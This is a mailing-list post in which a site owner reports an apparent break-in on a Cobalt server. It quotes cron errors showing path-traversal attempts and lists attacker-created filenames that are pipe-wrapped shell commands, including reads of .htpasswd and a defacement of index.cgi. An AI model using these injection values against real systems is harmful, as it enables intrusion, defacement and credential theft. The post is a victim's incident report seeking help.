[cobalt-users] hacker

[Olaf Alders <olaf@xxxxxxxxxxxxxxx>]

ok -- so this is disturbing -- i get a cron message saying this at 5:06 p.m.
today:

sh: /home/vilerichard/www/cgi-bin/stats/users/vilerichard/page/: is a
directory
sh: /home/vilerichard/www/cgi-bin/stats/users/vilerichard/page/: is a
directory
sh: /home/vilerichard/www/cgi-bin/stats/users/vilerichard/page/: is a
directory
Can't exec 
"/home/vilerichard/www/cgi-bin/stats/users/vilerichard/page/.._.._.._.._.._.
._.._.._.._.._.._.._.._.._.._.._bin_id": No such file or directory at
/home/vilerichard/www/cgi-bin/stats/cronjobs/clean_sessions.pl line 71.
Can't exec 
"/home/vilerichard/www/cgi-bin/stats/users/vilerichard/page/.._.._.._.._.._.
._.._.._.._.._.._.._.._.._.._.._bin_ls": No such file or directory at
/home/vilerichard/www/cgi-bin/stats/cronjobs/clean_sessions.pl line 71.
Can't exec 
"/home/vilerichard/www/cgi-bin/stats/users/vilerichard/page/.._.._.._.._.._.
._.._.._.._.._.._.._.._.._.._.._bin_pwd": No such file or directory at
/home/vilerichard/www/cgi-bin/stats/cronjobs/clean_sessions.pl line 71.


then I look in this directory:
/home/vilerichard/www/cgi-bin/stats/users/vilerichard/page/

I find the following files:

|cat _home_sites_site11_web_index.cgi|
|cat _home_sites_site11_web_private_.htaccess|
|cat _home_sites_site11_web_private_.htpasswd|
|echo hm bitcH you are owned
|echo hm bitcH you are owned<BR>it was me hahahah<BR>aCid fAlz was here
_home_sites_site11_web_index.cgi|
|echo hm bitcH you are owned<BR>it was me hahahah<BR>aCid fAlz was here>
_home_sites_site11_web_index.cgi|
|echo look bitch you are owned
|echo onwed> _home_sites_site11_web_index.cgi|
|id|
|ls -al _home_sites_site11_web_private|
|ls -al _home_sites_site11_web|
|ls _home_sites_site11_data|
|ls _home_sites_site11_users_wunder_web|
|ls _home_sites_site11_users_wunder|
|ls _home_sites_site11_users|
|ls _home_sites_site11_web_web|
|ls _home_sites_site11_web_|
|ls _home_sites_site11_web|
|ls _home_sites_site11_|
|ls _home_sites_site11|
|ls|
|mv _home_sites_site11_users_wunder_web_index.html _home_sites_site11_web|
|pwd|
|uname -a|

Any thoughts as to what I should do?  I don't have sensitive data on the
XTR, but this is a real pain in the ass.  I've never had to deal with this
before.  

Olaf



-- 
Olaf Alders

olaf@xxxxxxxxxxxxxxx
http://vilerichard.com

Thursday, Dec 13th @ Holy Joe's in Toronto:  A Vile Christmas (Music, Comedy
and Eats)

$15 Domain Name Registration:  http://www.wundersolutions.com